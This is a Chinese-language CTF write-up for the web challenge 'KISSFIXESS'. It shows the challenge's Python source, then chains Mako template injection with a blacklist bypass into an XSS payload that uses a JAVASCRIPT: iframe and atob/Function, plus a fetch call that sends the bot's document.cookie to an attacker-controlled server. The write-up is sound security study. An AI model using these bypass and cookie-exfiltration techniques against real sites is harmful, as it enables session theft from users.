KISSFIXESS

这是一道 web 题,给了源码,主要的源码有两个,一个是 main.py

from http.server import HTTPServer, BaseHTTPRequestHandler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
import json
from urllib.parse import parse_qs
from bot import visit_url
from mako.template import Template
from mako.lookup import TemplateLookup
import os
from urllib.parse import urlparse, parse_qs
from threading import Thread

MODULE_DIR = os.path.join(os.path.dirname(__file__), 'templates')
if not os.path.exists(MODULE_DIR):
try:
os.makedirs(MODULE_DIR)
except OSError as e:
print(f"Warning: Could not create Mako module directory: {e}")
MODULE_DIR = None

html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Pixel Rainbow Name</title>
<style>
@import url('https://fonts.googleapis.com/css2?family=Press+Start+2P&display=swap');

body {
font-family: 'Press Start 2P', cursive;
background-color: #222;
color: #fff;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
min-height: 100vh;
margin: 0;
padding: 20px;
box-sizing: border-box;
}

.container {
background-color: #333;
padding: 30px;
border: 5px solid #555;
box-shadow: 0 0 0 5px #444, 0 0 0 10px #333, 0 0 20px 10px #000;
text-align: center;
}

h1 {
font-size: 24px;
color: #0f0; /* Green for a retro feel */
margin-bottom: 20px;
text-shadow: 2px 2px #000;
}

label {
font-size: 16px;
color: #ccc;
display: block;
margin-bottom: 10px;
}

input[type="text"] {
font-family: 'Press Start 2P', cursive;
padding: 10px;
font-size: 16px;
border: 3px solid #555;
background-color: #444;
color: #fff;
margin-bottom: 20px;
outline: none;
}

input[type="submit"] {
font-family: 'Press Start 2P', cursive;
padding: 10px 20px;
font-size: 16px;
color: #fff;
background-color: #007bff;
border: 3px solid #0056b3;
cursor: pointer;
transition: background-color 0.2s;
}

input[type="submit"]:hover {
background-color: #0056b3;
}

.name-display {
margin-top: 30px;
font-size: 32px; /* Base size for rainbow text */
font-weight: bold;
padding: 10px;
}

.rainbow-text {
/* Fallback for browsers that don't support background-clip */
color: #fff;
/* Rainbow effect */
background: linear-gradient(to right,
hsl(0, 100%, 50%), /* Red */
hsl(30, 100%, 50%), /* Orange */
hsl(60, 100%, 50%), /* Yellow */
hsl(120, 100%, 50%),/* Green */
hsl(180, 100%, 50%),/* Cyan */
hsl(240, 100%, 50%),/* Blue */
hsl(300, 100%, 50%) /* Magenta */
);
-webkit-background-clip: text;
background-clip: text;
color: transparent; /* Make the text itself transparent */
/* Animate the gradient */
animation: rainbow_animation 6s ease-in-out infinite;
background-size: 400% 100%;
text-shadow: none; /* Remove any inherited text-shadow */
}

.rainbow-text span { /* Ensure individual spans also get the effect if we were to wrap letters */
-webkit-background-clip: text;
background-clip: text;
color: transparent;
}

@keyframes rainbow_animation {
0%, 100% {
background-position: 0 0;
}
50% {
background-position: 100% 0;
}
}

.instructions {
font-size: 12px;
color: #888;
margin-top: 30px;
}

</style>
</head>
<body>
<div class="container">
<h1>Pixel Name Display!</h1>
<form method="GET" action="/">
<label for="name">Enter Your Name:</label>
<input type="text" id="name" name="name_input" autofocus>
<input type="submit" value="Show Fancy Name">
</form>

% if name_to_display:
<div class="name-display">
Your fancy name is:
<div class="rainbow-text">NAME</div>
</div>
% endif

<p class="instructions">
Enter a name and see it in glorious pixelated rainbow colors!
</p>
<p class="instructions">
Escaped characters: ${banned}
</p>
<input type="submit" value="Report Name" onclick="reportName()">
<script>
function reportName() {
// Get from query string
const name = new URLSearchParams(window.location.search).get('name_input');
if (name) {
fetch('/report', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ name: name })
})
.then(response => {
if (response.ok) {
alert('Name reported successfully!');
} else {
alert('Failed to report name.');
}
})
.catch(error => {
console.error('Error reporting name:', error);
});
}
}
</script>
</div>
</body>
</html>
"""

lookup = TemplateLookup(directories=[os.path.dirname(__file__)], module_directory=MODULE_DIR)

banned = ["s", "l", "(", ")", "self", "_", ".", "\"", "\\", "import", "eval", "exec", "os", ";", ",", "|"]


def escape_html(text):
"""Escapes HTML special characters in the given text."""
return text.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;").replace("(", "&#40;").replace(")", "&#41;")

def render_page(name_to_display=None):
"""Renders the HTML page with the given name."""
templ = html_template.replace("NAME", escape_html(name_to_display or ""))
template = Template(templ, lookup=lookup)
return template.render(name_to_display=name_to_display, banned="&<>()")

class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):

# Parse the path and extract query parameters
parsed_url = urlparse(self.path)
params = parse_qs(parsed_url.query)
name = params.get("name_input", [""])[0]

for b in banned:
if b in name:
name = "Banned characters detected!"
print(b)

# Render and return the page
self.send_response(200)
self.send_header("Content-Type", "text/html")
self.end_headers()
self.wfile.write(render_page(name_to_display=name).encode("utf-8"))

def do_POST(self):
# Handle POST requests to report names
if self.path == "/report":
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
name = json.loads(post_data.decode('utf-8')).get("name", "")
print(f"Received name: {name}")
if name:
print(f"Reported name: {name}")
self.send_response(200)
self.end_headers()
self.wfile.write(b"Name reported successfully!")
Thread(target=visit_url, args=(name,)).start()
else:
self.send_response(400)
self.end_headers()
self.wfile.write(b"Bad Request: No name provided.")
else:
self.send_response(404)
self.end_headers()

def run_server(server_class=HTTPServer, handler_class=SimpleHTTPRequestHandler, port=8000):
server_address = ("0.0.0.0", port)
httpd = server_class(server_address, handler_class)
print(f"Starting http server on port {port}...")
print(f"Access the page at http://0.0.0.0:{port}")
try:
httpd.serve_forever()
except KeyboardInterrupt:
print("\nServer stopped.")
finally:
httpd.server_close()

if __name__ == "__main__":
run_server()

还有一个是 bot.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import tempfile
import time
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import sys
from urllib.parse import quote

URL_BASE = "http://localhost:8000"

def visit_url(name: str, timeout: int = 30):
chrome_opts = Options()
chrome_opts.add_argument("--headless=new")
chrome_opts.add_argument("--disable-gpu")
chrome_opts.add_argument("--disable-dev-shm-usage")
chrome_opts.add_argument("--disable-extensions")
chrome_opts.add_argument("--disable-popup-blocking")
chrome_opts.add_argument("--blink-settings=imagesEnabled=false") # don't load images
chrome_opts.add_argument("--log-level=3") # reduce logging
chrome_opts.add_argument("--no-sandbox")

user_data_dir = tempfile.mkdtemp(prefix="chrome-profile-")
chrome_opts.add_argument(f"--user-data-dir={user_data_dir}") # use a temporary user data directory


chrome_opts.add_argument("--user-data-dir=/tmp/chrome") # use a temporary user data directory

driver = webdriver.Chrome(options=chrome_opts)

try:
driver.set_page_load_timeout(timeout)
driver.set_script_timeout(5)
driver.get(URL_BASE)
driver.add_cookie({
"name": "flag",
"value": "TFCCTF{~}",
})

encoded_name = quote(name)
driver.get(f"{URL_BASE}/?name_input={encoded_name}")
# allow some time for JS to execute
time.sleep(200)
driver.quit()
finally:
driver.quit()

先看 main.py,猛地看上去,有一些被 ban 掉的字符,然后还有一个 template.render(),看上去就是一个典型的 SSTI

看一下源代码一开始的导入部分,是 from mako.template import Template,那应该就是 makoSSTI 了。

开启 web 看一下:

image14

是个能把我们输入的 “name” 变成彩色字体进行输出的网页,有个输入框,然后有个 ShowReport 的功能。

前面说的 template.render() 是存在于 Show 的功能部分,因此这里可能存在 SSTI

网上搜了一下 mako 的 SSTI ,找到对应的执行表达式是 ${} ,那就在网页的输入框里输入 ${7*7} 试试:

image15

果然输出了 49 ,说明这里存在 SSTI 。

再看看源码的 Report 部分,这里主要是执行了 Thread(target=visit_url, args=(name,)).start(),这个 visit_url 是一开始 from bot import visit_url 这里导入的,说明它就是 bot.py 里的那个函数。

visit_url 里面干的事情是,它启动了一个浏览器,并且把 flag 放在了它的 Cookie 里面:

1
2
3
4
driver.add_cookie({
"name": "flag",
"value": "TFCCTF{~}",
})

说明我们要用某种方法获取到这个 Cookie 才行。

然后,它执行了 driver.get(f"{URL_BASE}/?name_input={encoded_name}") ,这个就是 main.py 里的 Show 的功能,也就是说,它访问了跟我们一样的页面,而且它的输入参数也和我们输入的内容是一样的。

那思路就比较清晰了,通过 SSTI 构造一个 XSS ,让 bot 访问这个 XSS 页面,从而获取到它的 Cookie

现在的主要问题在于,main.py ban 掉了一些字符串 :

1
banned = ["s", "l", "(", ")", "self", "_", ".", "\"", "\\", "import", "eval", "exec", "os", ";", ",", "|"]

同时,它也过滤了一些要实现 XSS 所必须的字符:

1
2
3
def escape_html(text):
"""Escapes HTML special characters in the given text."""
return text.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;").replace("(", "&#40;").replace(")", "&#41;")

所以我们要想办法绕过这些限制。

在以下这个部分:

1
2
3
4
5
def render_page(name_to_display=None):
"""Renders the HTML page with the given name."""
templ = html_template.replace("NAME", escape_html(name_to_display or ""))
template = Template(templ, lookup=lookup)
return template.render(name_to_display=name_to_display, banned="&<>()")

我发现它虽然用 escape_html 过滤了那些字符,但在 render 的时候又传入了 banned="&<>()" ,而 SSTI 又是在 render 里面实现的,所以说不定我们可以获取到 banned 这个变量,并用 SSTI 使用它。

往页面的输入框里输入 ${banned} 试试:

image16

果然输出了 &<>() ,这就是 banned 的内容。

并且我们可以用 ${banned[0]} ${banned[1]} 等分别获取其中的每一个字符,这样就可以使用这些字符从而实现 XSS 了。

要注意的是,sl 也被 ban 了,所以可以写成 <SCRIPT> 或者使用 <iframe> 等标签。

在网上搜索学习到,javascript 伪协议可以执行 js 命令,像这样:

1
<iframe src=javascript:alert('xss');></iframe>

但其中的 s 被 ban 了,我们可以写成 SRC=JAVASCRIPT: ,同样可以执行。

想要把 botCookie 外带出来,我们就得用让它访问我们的 url ,但使用 url 无法避免的又得使用点号 . ,但点号 . 被 ban 了,所以我们还得绕过对 . 的过滤。

通过询问 AI ,我了解到 atob() 这个函数可以进行 base64 的解码,然后我们可以把解码后的结果放在 Function 里面去执行。

大致的构造思路是这样的:

1
2
<iframe SRC=JAVASCRIPT:Function(atob(`YWxlcnQoMSkK`))()>
// YWxlcnQoMSkK 是 'alert(1)' 的 base64

经过本地的测试,这个 js 代码是可以执行 alert(1) 的,因此我们只需把里面的 base64 换成要外带 cookie 的 payload 就好了

AI 告诉我说,有一些网站可以生成 url ,并且查看收到的请求信息,例如 requestbin.net,在上面申请个网址,通过 url 参数的形式外带 cookie 就好了。

但是这道题还有一点,就是它 ban 掉了 sl ,这就导致我们必须处理 base64 中的这两个字符,可以通过在原始 payload 中加空格的方式来进行。

requestbin 生成的网址太长了,不好操作 sl ,因此我还是用了自己的服务器来获取访问。

想要外带 cookie ,我们可以用 fetch.get('http://<your_ip>/?x='+ document.cookie),因此完整的原始 payload 如下:

1
<iframe SRC=JAVASCRIPT:Function(atob(`<payload_base64>`))>

当然还要把被 ban 掉的 <> 等字符用 banned 来进行替换,让 AI 写了个简单的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
a=<your_payload>

def replace_special_chars(a):
# 定义要替换的字符和对应的替换模板
char_map = {
'&': '${banned[0]}',
'<': '${banned[1]}',
'>': '${banned[2]}',
'(': '${banned[3]}',
')': '${banned[4]}'
}

# 创建一个新的字符串,逐个字符替换
result = ""
for char in a:
if char in char_map:
result += char_map[char]
else:
result += char

return result

print(replace_special_chars(a))

然后把生成的 payload 发给题目网站的 report 那个路由就好了:

image17

然后在服务器上收到了请求:

image18